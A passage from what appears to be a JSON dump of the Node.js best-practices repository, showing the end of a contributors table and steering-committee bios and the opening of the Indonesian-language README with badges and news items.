width=\"100px;\" alt=\"Ane Diaz de Tuesta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href=\"#translation-anediaz\" title=\"Translation\">🌍</a> <a href=\"#content-anediaz\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://yukioh.net\"><img src=\"https://avatars.githubusercontent.com/u/23182489?v=4\" width=\"100px;\" alt=\"YukiOta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>YukiOta</b></sub></a><br /><a href=\"#translation-YukiOta\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yeovilhospital.co.uk/\"><img src=\"https://avatars.githubusercontent.com/u/43814140?v=4\" width=\"100px;\" alt=\"Frazer Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Frazer Smith</b></sub></a><br /><a href=\"#content-Fdawgs\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rluvaton\"><img src=\"https://avatars.githubusercontent.com/u/16746759?v=4\" width=\"100px;\" alt=\"Raz Luvaton\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Raz Luvaton</b></sub></a><br /><a href=\"#content-rluvaton\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/YA21\"><img src=\"https://avatars.githubusercontent.com/u/37298463?v=4\" width=\"100px;\" alt=\"Yuta Azumi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuta Azumi</b></sub></a><br /><a href=\"#content-YA21\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/andrewjbarbour\"><img src=\"https://avatars.githubusercontent.com/u/77080074?v=4\" width=\"100px;\" alt=\"andrewjbarbour\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>andrewjbarbour</b></sub></a><br /><a href=\"#content-andrewjbarbour\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://MasujimaRyohei.jp\"><img src=\"https://avatars.githubusercontent.com/u/17163541?v=4\" width=\"100px;\" alt=\"mr\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mr</b></sub></a><br /><a href=\"#content-MasujimaRyohei\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kubanac95\"><img src=\"https://avatars.githubusercontent.com/u/16191931?v=4\" width=\"100px;\" alt=\"Aleksandar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aleksandar</b></sub></a><br /><a href=\"#content-kubanac95\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://vincentjonathan.com\"><img src=\"https://avatars.githubusercontent.com/u/32597776?v=4\" width=\"100px;\" alt=\"Owl\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Owl</b></sub></a><br /><a href=\"#content-SuspiciousLookingOwl\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/yedidyas\"><img src=\"https://avatars.githubusercontent.com/u/36074789?v=4\" width=\"100px;\" alt=\"Yedidya Schwartz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yedidya Schwartz</b></sub></a><br /><a href=\"#content-yedidyas\" title=\"Content\">🖋</a> <a href=\"#example-yedidyas\" title=\"Examples\">💡</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ariel-diaz\"><img src=\"https://avatars.githubusercontent.com/u/20423540?v=4\" width=\"100px;\" alt=\"ari\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ari</b></sub></a><br /><a href=\"#content-ariel-diaz\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.koenigthomas.de/\"><img src=\"https://avatars.githubusercontent.com/u/7080389?v=4\" width=\"100px;\" alt=\"Thomas König\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thomas König</b></sub></a><br /><a href=\"#content-Vispercept\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/coocos\"><img src=\"https://avatars.githubusercontent.com/u/1397804?v=4\" width=\"100px;\" alt=\"Kalle Lämsä\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kalle Lämsä</b></sub></a><br /><a href=\"#content-coocos\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://math.cat\"><img src=\"https://avatars.githubusercontent.com/u/10328430?v=4\" width=\"100px;\" alt=\"Wyatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Wyatt</b></sub></a><br /><a href=\"#content-ZhyMC\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://libkhadir.fr\"><img src=\"https://avatars.githubusercontent.com/u/45130488?v=4\" width=\"100px;\" alt=\"KHADIR Tayeb\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>KHADIR Tayeb</b></sub></a><br /><a href=\"#content-tkhadir\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shankarregmi\"><img src=\"https://avatars.githubusercontent.com/u/7703345?v=4\" width=\"100px;\" alt=\"Shankar Regmi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shankar Regmi</b></sub></a><br /><a href=\"#content-shankarregmi\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/codebyshubham\"><img src=\"https://avatars.githubusercontent.com/u/10389723?v=4\" width=\"100px;\" alt=\"Shubham\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shubham</b></sub></a><br /><a href=\"#content-codebyshubham\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://lucalves.me/\"><img src=\"https://avatars.githubusercontent.com/u/17712401?v=4\" width=\"100px;\" alt=\"Lucas Alves\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Alves</b></sub></a><br /><a href=\"#content-lucalves\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/benjaminudoh10\"><img src=\"https://avatars.githubusercontent.com/u/9018331?v=4\" width=\"100px;\" alt=\"Benjamin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin</b></sub></a><br /><a href=\"#content-benjaminudoh10\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yjoer.com\"><img src=\"https://avatars.githubusercontent.com/u/47742486?v=4\" width=\"100px;\" alt=\"Yeoh Joer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yeoh Joer</b></sub></a><br /><a href=\"#content-yjoer\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blog.miigon.net\"><img src=\"https://avatars.githubusercontent.com/u/16161991?v=4\" width=\"100px;\" alt=\"Miigon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Miigon</b></sub></a><br /><a href=\"#content-Miigon\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://brainstorage.me/Egregor2011\"><img src=\"https://avatars.githubusercontent.com/u/3630318?v=4\" width=\"100px;\" alt=\"Rostislav Bogorad\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rostislav Bogorad</b></sub></a><br /><a href=\"#content-Egregor2011\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Flouse\"><img src=\"https://avatars.githubusercontent.com/u/1297478?v=4\" width=\"100px;\" alt=\"Flouse\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Flouse</b></sub></a><br /><a href=\"#content-Flouse\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://taranttini.com\"><img src=\"https://avatars.githubusercontent.com/u/6922125?v=4\" width=\"100px;\" alt=\"Tarantini Pereira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tarantini Pereira</b></sub></a><br /><a href=\"#content-taranttini\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kzmat\"><img src=\"https://avatars.githubusercontent.com/u/34614358?v=4\" width=\"100px;\" alt=\"Kazuki Matsuo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kazuki Matsuo</b></sub></a><br /><a href=\"#content-kzmat\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/burkybang\"><img src=\"https://avatars.githubusercontent.com/u/927886?v=4\" width=\"100px;\" alt=\"Adam Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Adam Smith</b></sub></a><br /><a href=\"#content-burkybang\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://codekodo.tistory.com\"><img src=\"https://avatars.githubusercontent.com/u/33795856?v=4\" width=\"100px;\" alt=\"Dohyeon Ko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dohyeon Ko</b></sub></a><br /><a href=\"#content-k906506\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vlad99902\"><img src=\"https://avatars.githubusercontent.com/u/67615003?v=4\" width=\"100px;\" alt=\"Vladislav Legkov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vladislav Legkov</b></sub></a><br /><a href=\"#content-vlad99902\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kerolloz.github.io\"><img src=\"https://avatars.githubusercontent.com/u/36763164?v=4\" width=\"100px;\" alt=\"Kerollos Magdy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kerollos Magdy</b></sub></a><br /><a href=\"#content-kerolloz\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/erez-lieberman-b90b7219/\"><img src=\"https://avatars.githubusercontent.com/u/3277260?v=4\" width=\"100px;\" alt=\"Erez Lieberman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Erez Lieberman</b></sub></a><br /><a href=\"#content-erezLieberman\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\"><img src=\"https://avatars.githubusercontent.com/u/48841329?v=4\" width=\"100px;\" alt=\"Breno Macedo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Breno Macedo</b></sub></a><br /><a href=\"#content-breno404\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JFernando122\"><img src=\"https://avatars.githubusercontent.com/u/40414805?v=4\" width=\"100px;\" alt=\"Fernando Flores\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fernando Flores</b></sub></a><br /><a href=\"#translation-JFernando122\" title=\"Translation\">🌍</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/rafaelconcept/\"><img src=\"https://avatars.githubusercontent.com/u/43880669?v=4\" width=\"100px;\" alt=\"Rafael Brito\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rafael Brito</b></sub></a><br /><a href=\"#translation-rafaelconcept\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://emiliano-peralta-portfolio.vercel.app/\"><img src=\"https://avatars.githubusercontent.com/u/63617637?v=4\" width=\"100px;\" alt=\"Emiliano Peralta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Emiliano Peralta</b></sub></a><br /><a href=\"#translation-emiperalta\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lannex.github.io\"><img src=\"https://avatars.githubusercontent.com/u/7369541?v=4\" width=\"100px;\" alt=\"Shin, SJ\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shin, SJ</b></sub></a><br /><a href=\"#content-lannex\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.benjaminforster.com\"><img src=\"https://avatars.githubusercontent.com/u/12589522?v=4\" width=\"100px;\" alt=\"Benjamin Forster\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Forster</b></sub></a><br /><a href=\"#content-e-e-e\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DanieleFedeli\"><img src=\"https://avatars.githubusercontent.com/u/37077048?v=4\" width=\"100px;\" alt=\"Daniele Fedeli\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniele Fedeli</b></sub></a><br /><a href=\"#content-DanieleFedeli\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/djob195\"><img src=\"https://avatars.githubusercontent.com/u/17146669?v=4\" width=\"100px;\" alt=\"djob195\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>djob195</b></sub></a><br /><a href=\"#content-djob195\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/antspk\"><img src=\"https://avatars.githubusercontent.com/u/78955792?v=4\" width=\"100px;\" alt=\"antspk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>antspk</b></sub></a><br /><a href=\"#content-antspk\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jjy0821.tistory.com/\"><img src=\"https://avatars.githubusercontent.com/u/88075341?v=4\" width=\"100px;\" alt=\"정진영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>정진영</b></sub></a><br /><a href=\"#content-jjy821\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kkk-cashwalk\"><img src=\"https://avatars.githubusercontent.com/u/91455122?v=4\" width=\"100px;\" alt=\"kkk-cashwalk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kkk-cashwalk</b></sub></a><br /><a href=\"#content-kkk-cashwalk\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/apainintheneck\"><img src=\"https://avatars.githubusercontent.com/u/42982186?v=4\" width=\"100px;\" alt=\"apainintheneck\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>apainintheneck</b></sub></a><br /><a href=\"#content-apainintheneck\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/koyanyaroo\"><img src=\"https://avatars.githubusercontent.com/u/9715368?v=4\" width=\"100px;\" alt=\"Fajar Budhi Iswanda\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href=\"#content-koyanyaroo\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jutiger\"><img src=\"https://avatars.githubusercontent.com/u/97490806?v=4\" width=\"100px;\" alt=\"이주호\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>이주호</b></sub></a><br /><a href=\"#content-jutiger\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MisterSingh\"><img src=\"https://avatars.githubusercontent.com/u/44462019?v=4\" width=\"100px;\" alt=\"Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Singh</b></sub></a><br /><a href=\"#content-MisterSingh\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alex-Dumitru\"><img src=\"https://avatars.githubusercontent.com/u/43738450?v=4\" width=\"100px;\" alt=\"Alex Dumitru\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alex Dumitru</b></sub></a><br /><a href=\"#content-Alex-Dumitru\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lykhatskyi\"><img src=\"https://avatars.githubusercontent.com/u/18104686?v=4\" width=\"100px;\" alt=\"Anton Lykhatskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Anton Lykhatskyi</b></sub></a><br /><a href=\"#content-lykhatskyi\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/EverythingAvailable\"><img src=\"https://avatars.githubusercontent.com/u/81002379?v=4\" width=\"100px;\" alt=\"sangwonlee\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>sangwonlee</b></sub></a><br /><a href=\"#content-EverythingAvailable\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/euberdeveloper\"><img src=\"https://avatars.githubusercontent.com/u/33126163?v=4\" width=\"100px;\" alt=\"Eugenio Berretta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eugenio Berretta</b></sub></a><br /><a href=\"#content-euberdeveloper\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/soranakk\"><img src=\"https://avatars.githubusercontent.com/u/3930307?v=4\" width=\"100px;\" alt=\"soranakk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>soranakk</b></sub></a><br /><a href=\"#content-soranakk\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/backend-joonyoung\"><img src=\"https://avatars.githubusercontent.com/u/94430145?v=4\" width=\"100px;\" alt=\"고준영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>고준영</b></sub></a><br /><a href=\"#content-backend-joonyoung\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung\" title=\"Code\">💻</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GuilhermePortella\"><img src=\"https://avatars.githubusercontent.com/u/59876059?v=4\" width=\"100px;\" alt=\"Guilherme Portella \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Guilherme Portella </b></sub></a><br /><a href=\"#content-GuilhermePortella\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\"><img src=\"https://avatars.githubusercontent.com/u/18497570?v=4\" width=\"100px;\" alt=\"André Esser\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>André Esser</b></sub></a><br /><a href=\"#content-Esser50K\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ShiChenCong\"><img src=\"https://avatars.githubusercontent.com/u/22486446?v=4\" width=\"100px;\" alt=\"Scc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Scc</b></sub></a><br /><a href=\"#translation-ShiChenCong\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.mauroaccornero.it\"><img src=\"https://avatars.githubusercontent.com/u/1875822?v=4\" width=\"100px;\" alt=\"Mauro Accornero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mauro Accornero</b></sub></a><br /><a href=\"#content-mauroaccornero\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/no-yan\"><img src=\"https://avatars.githubusercontent.com/u/63000297?v=4\" width=\"100px;\" alt=\"no-yan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>no-yan</b></sub></a><br /><a href=\"#content-no-yan\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n  </tbody>\r\n</table>\r\n\r\n<!-- markdownlint-restore -->\r\n<!-- prettier-ignore-end -->\r\n\r\n<!-- ALL-CONTRIBUTORS-LIST:END -->\r\n\r\n### Steering Committee Emeriti\r\n\r\n[Bruno Scheufler](https://github.com/BrunoScheufler)\r\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\r\n\r\n💻 full-stack web engineer, Node.js & GraphQL enthusiast\r\n\r\n<br/>\r\n\r\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\r\n\r\n[Kyle Martin](https://github.com/js-kyle)\r\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\r\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\r\n\r\nFull Stack Developer & Site Reliability Engineer based in New Zealand, interested in web application security, and architecting and building Node.js applications to perform at global scale.\r\n\r\n<br/>\r\n\r\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kevyn.png\"/>\r\n\r\n[Kevyn Bruyere](https://github.com/kevynb)\r\n<a href=\"https://www.linkedin.com/in/kevynbruyere/\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\r\n\r\nIndependent full-stack developer with a taste for Ops and automation.\r\n\r\n<br/>\r\n\r\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\r\n\r\n[Sagir Khan](https://github.com/sagirk)\r\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\r\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\r\n<a href=\"https://sagirk.com\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\r\n\r\nDeep specialist in JavaScript and its ecosystem — React, Node.js, TypeScript, GraphQL, MongoDB, pretty much anything that involves JS/JSON in any layer of the system — building products using the web platform for the world’s most recognized brands. Individual Member of the Node.js Foundation.\r\n"
  },
  {
    "path": "README.indonesian.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Praktik Terbaik Node.js\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Praktik Terbaik Node.js\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%20102%20Best%20Practices-blue.svg\" alt=\"102 item\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20December%2012%202020-green.svg\" alt=\"Pembaruan terakhir: November, 2020\"/> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2014.0.0-brightgreen.svg\" alt=\"Diperbarui untuk Node 14.0.0\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **Ikuti kami di Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\nBaca dalam bahasa yang berbeda: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![FR](./assets/flags/FR.png)**FR**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** dan ![TR](./assets/flags/TR.png)**TR** dalam proses!)](#translations)\n\n<br/>\n\n###### Dibuat dan dijaga oleh [Komite Pengarah](#komite-pengarah) dan [kolaborator](#Kolaborator)\n\n# Praktik Terbaik Terbaru dan Berita\n\n- **✅ Praktik terbaik baru:** Poin 2.12 oleh [Alexsey](https://github.com/Alexsey) menunjukkan bagaimana melakukan return tanpa await ke fungsi asinkron dapat mengarah ke _stacktraces_ parsial. Ini dapat menjadi masalah besar saat melakukan pemecahan masalah exception di produksi yang kekurangan beberapa bingkai eksekusi\n\n- **✅ Praktik terbaik baru:** Poin 6.8 oleh Josh Hemphill menyarankan \"Protect Users' Passwords/Secrets using BCrypt or Script\". Ini mengandung penjelasan secara mendalam tentang kapan dan kenapa setiap opsi sesuai untuk proyek tertentu. Jangan lewatkan panduan singkat ini dengan gambaran singkat tentang berbagai opsi hashing\n\n- **:whale: Praktik terbaik Node.js + Docker**: Kami baru saja 